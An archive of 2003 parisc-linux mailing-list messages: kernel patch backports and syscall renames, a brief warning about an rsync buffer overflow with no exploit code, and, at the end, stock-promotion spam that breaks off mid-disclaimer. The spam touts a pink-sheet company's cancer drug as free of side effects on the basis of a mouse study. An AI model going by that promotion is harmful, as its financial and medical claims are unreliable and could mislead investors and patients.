MS0xMiAxMTowMTo0My4wMDAwMDAwMDAgKzAxMDAKQEAgLTMxOTYsMTIgKzMxOTYsMTAgQEAKIAly
ZXR1cm4gc3lzX2xzZWVrKGZkLCBvZmZzZXQsIG9yaWdpbik7CiB9CiAKLWFzbWxpbmthZ2UgbG9u
ZyBzeXMzMl9zZW1jdGxfYnJva2VuKGludCBzZW1pZCwgaW50IHNlbW51bSwgaW50IGNtZCwgdW5p
b24gc2VtdW4gYXJnKQorYXNtbGlua2FnZSBsb25nIHN5czMyX3NlbWN0bChpbnQgc2VtaWQsIGlu
dCBzZW1udW0sIGludCBjbWQsIHVuaW9uIHNlbXVuIGFyZykKIHsKICAgICAgICAgdW5pb24gc2Vt
dW4gdTsKIAkKLQljbWQgJj0gfklQQ182NDsgLyogc2hvdWxkIGJlIHJlbW92ZWQgdG9nZXRoZXIg
d2l0aCB0aGUgX2Jyb2tlbiBzdWZmaXggKi8KLQogICAgICAgICBpZiAoY21kID09IFNFVFZBTCkg
ewogICAgICAgICAgICAgICAgIC8qIFVnaC4gIGFyZyBpcyBhIHVuaW9uIG9mIGludCxwdHIscHRy
LHB0ciwgc28gaXMgOCBieXRlcy4KICAgICAgICAgICAgICAgICAgKiBUaGUgaW50IHNob3VsZCBi
ZSBpbiB0aGUgZmlyc3QgNCwgYnV0IG91ciBhcmd1bWVudAo=


--========/3FB25B960000DAD8/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="arch_parisc_kernel_syscall.S.patch"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi40LjIzLXBhMS9hcmNoL3BhcmlzYy9rZXJuZWwv
c3lzY2FsbC5TIGxpbnV4LTIuNC4yMy1yYzUtcGExNy9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2Fs
bC5TCi0tLSBsaW51eC0yLjQuMjMtcGExL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxsLlMJMjAw
My0wOC0yNiAwNzo0MjoxOC4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIuNC4yMy1yYzUtcGEx
Ny9hcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbC5TCTIwMDMtMTEtMTIgMTE6MDM6MjIuMDAwMDAw
MDAwICswMTAwCkBAIC01NzcsMTUgKzU3NywxNSBAQAogCUVOVFJZX0RJRkYocmVjdm1zZykKIAlF
TlRSWV9TQU1FKHNlbW9wKQkJLyogMTg1ICovCiAJRU5UUllfU0FNRShzZW1nZXQpCi0JRU5UUllf
RElGRihzZW1jdGxfYnJva2VuKQorCUVOVFJZX0RJRkYoc2VtY3RsKQogCUVOVFJZX0RJRkYobXNn
c25kKQogCUVOVFJZX0RJRkYobXNncmN2KQogCUVOVFJZX1NBTUUobXNnZ2V0KQkJLyogMTkwICov
Ci0JRU5UUllfU0FNRShtc2djdGxfYnJva2VuKQorCUVOVFJZX1NBTUUobXNnY3RsKQogCUVOVFJZ
X1NBTUUoc2htYXRfd3JhcHBlcikKIAlFTlRSWV9TQU1FKHNobWR0KQogCUVOVFJZX1NBTUUoc2ht
Z2V0KQotCUVOVFJZX1NBTUUoc2htY3RsX2Jyb2tlbikJCS8qIDE5NSAqLworCUVOVFJZX1NBTUUo
c2htY3RsKQkJLyogMTk1ICovCiAJRU5UUllfU0FNRShuaV9zeXNjYWxsKQkJLyogc3RyZWFtczEg
Ki8KIAlFTlRSWV9TQU1FKG5pX3N5c2NhbGwpCQkvKiBzdHJlYW1zMiAqLwogCUVOVFJZX1NBTUUo
bHN0YXQ2NCkK

--========/3FB25B960000DAD8/mail.tiscali.be--


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 some tested backport (pgalloc.h)
Date: Thu, 4 Dec 2003 11:38:12 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <3FB25B960000DB0D@ocpmta1.freegates.net>
References: <20031204102038.GL16507@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623020 2590 80.91.229.3 (22 Nov 2014 02:23:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:40 +0000 (UTC)
To: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 03:43:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 604784845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 03:43:21 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ARqsG-0005xc-00; Thu, 04 Dec 2003 11:38:20 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 4 Dec 2003 11:38:12 +0100
In-Reply-To: <20031204102038.GL16507@lug-owl.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20288

Yes, sorry that is a webmail interface pb which I already mentionned to my
ISP helpdesk but they couldn't help?

That is also why I also attatched the patch to help maintainers to apply
it :)

Appologies,
    Joel

>-- Original Message --
>From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
>To: parisc-linux@lists.parisc-linux.org
>Date: Thu, 4 Dec 2003 11:20:39 +0100
>Subject: Re: [parisc-linux] 2.4.23 some tested backport (pgalloc.h)
>
>
>On Thu, 2003-12-04 10:56:08 +0100, Joel Soete <soete.joel@tiscali.be>
wrote in message <3FB25B960000DA45@ocpmta1.freegates.net>:

> --- linux-2.4.23-pa1/include/asm-parisc/pgalloc.h	2003-03-10 08:02:19.000000000
> +0100
> +++ linux-2.4.23-rc5-pa17
>include/asm-parisc/pgalloc.h	2003-12-04 11:06:31.000000000
> +0100
> @@ -124,8 +124,9 @@

Your email client horribly mudged this...

MfG, JBG

-- 
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  ei
>em Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier Brger" | im Internet! |   im Irak!
   ret = do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TCPA));

>
>Attachment: signature.asc
>


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 lcopy_in_user backport
Date: Thu, 4 Dec 2003 13:17:43 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20031204131743.GL7096@parcelfarce.linux.theplanet.co.uk>
References: <3FB25B960000DA96@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623021 2593 80.91.229.3 (22 Nov 2014 02:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 06:17:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5F414845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 06:17:44 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1ARtMV-0004fu-P6; Thu, 04 Dec 2003 13:17:43 +0000
Content-Disposition: inline
In-Reply-To: <3FB25B960000DA96@ocpmta1.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20289

On Thu, Dec 04, 2003 at 11:10:25AM +0100, Joel Soete wrote:
> Hi pa,
> 
> iirc this is a Carlos' chunk I try to backport:

Why?  Do we have a need for copy_in_user in 2.4?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 lcopy_in_user backport
Date: Thu, 4 Dec 2003 15:08:06 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3FB25B960000DE93@ocpmta1.freegates.net>
References: <20031204131743.GL7096@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623021 2597 80.91.229.3 (22 Nov 2014 02:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 07:10:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BFB24845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 07:10:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1ARu9H-0003BX-00; Thu, 04 Dec 2003 15:08:07 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 4 Dec 2003 15:08:06 +0100
In-Reply-To: <20031204131743.GL7096@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20290

>Why?  Do we have a need for copy_in_user in 2.4?

Just trusted usefull because in sparc64 also?

J.

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rsync buffer overflow
Date: Thu, 4 Dec 2003 19:42:01 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0312041937470.20086@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623021 2602 80.91.229.3 (22 Nov 2014 02:23:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 12:42:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1D764845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 12:42:04 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hB4Jg3kf022856
	for <parisc-linux@lists.parisc-linux.org>; Thu, 4 Dec 2003 19:42:03 GMT
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20291

Hi,

I'm not sure whether you are still able to use rsync to update the
parisc-linux kernel tree, but this might be important anyway:

http://rsync.samba.org/

Apparently rsync has a buffer overflow vulnerability, and there exists
an exploit for it (which was used in the attack of the Gentoo server
yesterday).

Max


From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 some tested backport (pgalloc.h)
Date: Thu, 4 Dec 2003 16:00:08 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20031204210008.GF23309@systemhalted>
References: <3FB25B960000DA45@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623022 2606 80.91.229.3 (22 Nov 2014 02:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 14:06:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9A254845
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 14:06:37 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AS0a0-0007Ok-00; Thu, 04 Dec 2003 16:00:08 -0500
Content-Disposition: inline
In-Reply-To: <3FB25B960000DA45@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (73% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20292

On Thu, Dec 04, 2003 at 10:56:08AM +0100, Joel Soete wrote:
> iirc this a Randolph's patch which I try to backport and test seems ok

Testing right now.

c.


From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 semctl_broken -> semctl
Date: Thu, 4 Dec 2003 16:03:21 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20031204210321.GG23309@systemhalted>
References: <3FB25B960000DAD8@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623022 2608 80.91.229.3 (22 Nov 2014 02:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  4 14:09:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81D42484E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  4 Dec 2003 14:09:48 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AS0d7-0007Py-00; Thu, 04 Dec 2003 16:03:21 -0500
Content-Disposition: inline
In-Reply-To: <3FB25B960000DAD8@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (73% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20293

On Thu, Dec 04, 2003 at 11:27:08AM +0100, Joel Soete wrote:
> diff -NaurX dontdiff linux-2.4.23-pa1/arch/parisc/kernel/sys_parisc32.c linux-2.4.23-rc5-pa17/arch/parisc/kernel/sys_parisc32.c

Testing.

c.



From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.23 some tested backport (pgalloc.h)
Date: Thu, 4 Dec 2003 14:04:42 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20031204220441.GI20133@tausq.org>
References: <3FB25B960000DA45@ocpmta1.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623022 2612 80.91.229.3 (22 Nov 2014 02:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Thu Dec  4 15:04:29 2003
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 074D84854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 Dec 2003 15:04:29 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0CB47CD294; Thu,  4 Dec 2003 14:04:42 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3FB25B960000DA45@ocpmta1.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Dec 2003 22:04:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20294

> iirc this a Randolph's patch which I try to backport and test seems ok

this is not needed in 2.4, and no longer useful in 2.6... no need to
backport.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carmen Wood" <geeg1clj@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] AFTER-HOURS TRADING - Breaking News...alissa
Date: Wed, 03 Dec 2003 15:43:58 -0700
Lines: 111
Approved: news@gmane.org
Message-ID: <4jpv2v0rgky01m97b2har2304qo3p4e@czln8.pkj.e.q5>
Reply-To: Carmen Wood <geeg1clj@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="EEDEAF8.74_7B...EDE.9_.C"
X-Trace: ger.gmane.org 1416623022 2615 80.91.229.3 (22 Nov 2014 02:23:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: geeg1clj@yahoo.com  Thu Dec  4 16:02:17 2003
Return-Path: <geeg1clj@yahoo.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 455714854
	for <parisc-linux@parisc-linux.org>;
	Thu,  4 Dec 2003 16:02:17 -0700 (MST)
Original-Received: from 156.153.254.40 (unknown [61.49.145.29])
	by cuprel1.hp.com (Postfix) with SMTP id 56E646F5
	for <parisc-linux@parisc-linux.org>;
	Thu,  4 Dec 2003 15:00:16 -0800 (PST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 04 Dec 2003 23:02:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20295


--EEDEAF8.74_7B...EDE.9_.C
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

AFTER-HOURS TRADING - BREAKING NEWS

Get Quote - http://quote.money.cnn.com/quote/quote?symbols=3Dhtds

Hard to Treat Diseases Incorporated - HTDS - Announces: Receipt of Tuberci=
n Toxicity Study and Formation of Scientific Advisory Panel - Wednesday De=
cember 3, 8:04 pm ET 

DELRAY BEACH, Fla.--(BUSINESS WIRE)--Dec. 3, 2003--Hard to Treat Diseases =
Incorporated (Pink Sheets: HTDS) announces today that the spokesperson for=
 the independent medical group conducting the testing for HTTD (HTDS) has =
forwarded the formal Testing Results of Tubercin=AE's Toxicity Trials to H=
TTD.

Tubercin of five different concentrations was administered to five groups =
of mice. A pathologist at the University of Oklahoma Health Science Center=
 performed autopsies. The mice were randomized and only the control mouse =
was known to the pathologist, as stated in the cover letter of the Patholo=
gy Report.

The report concludes, "All tissues evaluated, visceral organs and the brai=
n were essentially normal in appearance." "The importance of this report i=
s even better than I expected," stated the spokesperson for the medical gr=
oup. "As the testing continues and if the results are similar to those of =
Chemotherapy and or radiation with no harmful side effects, Tubercin has e=
normous potential for the treatment of cancer and the immune system."

The President and CEO of HTTD, Mr. Colm J. King is in the process of formi=
ng a Scientific Advisory Panel with leading Oncologists and Immunologists =
from prestigious institutions in the U.S. The panel will review the report=
s and results of Tubercin=AE's findings and will report back to Mr. King w=
ith the ongoing reports in layman language for the shareholders.

"We are continuing to receive promising results regarding Tubercin=AE and =
we're looking forward to additional positive results in the near future," =
stated Mr. King. "These tests prove that Tubercin=AE is non-toxic and is t=
he first step on the way to human clinical trials as well as the first pos=
itive breakthrough conducted in the United States with an independent medi=
cal group for Tubercin=AE. 

Operating out of Delray Beach, Florida, Hard to Treat Diseases Incorporate=
d ("HTTD") holds the international marketing rights, except South Korea, t=
o Tubercin=AE, a patented immunostimulant developed for combating Cancer u=
nder medical patent (US Patent 6,274,356). The unique properties unlike ot=
her cancer products are clearly stated in the abstract summary of the pate=
nt... "A carbohydrate complex, which is a mixture of low molecular-weight =
polysaccharides of an arabinomannan structure extracted from Mycobacterium=
 tuberculosis, is highly effective in treating various cancer patients wit=
hout incurring any adverse side effects." 






Statements in this press release that are not historical facts are forward=
-looking statements within the meaning of the Securities Act of 1933, as a=
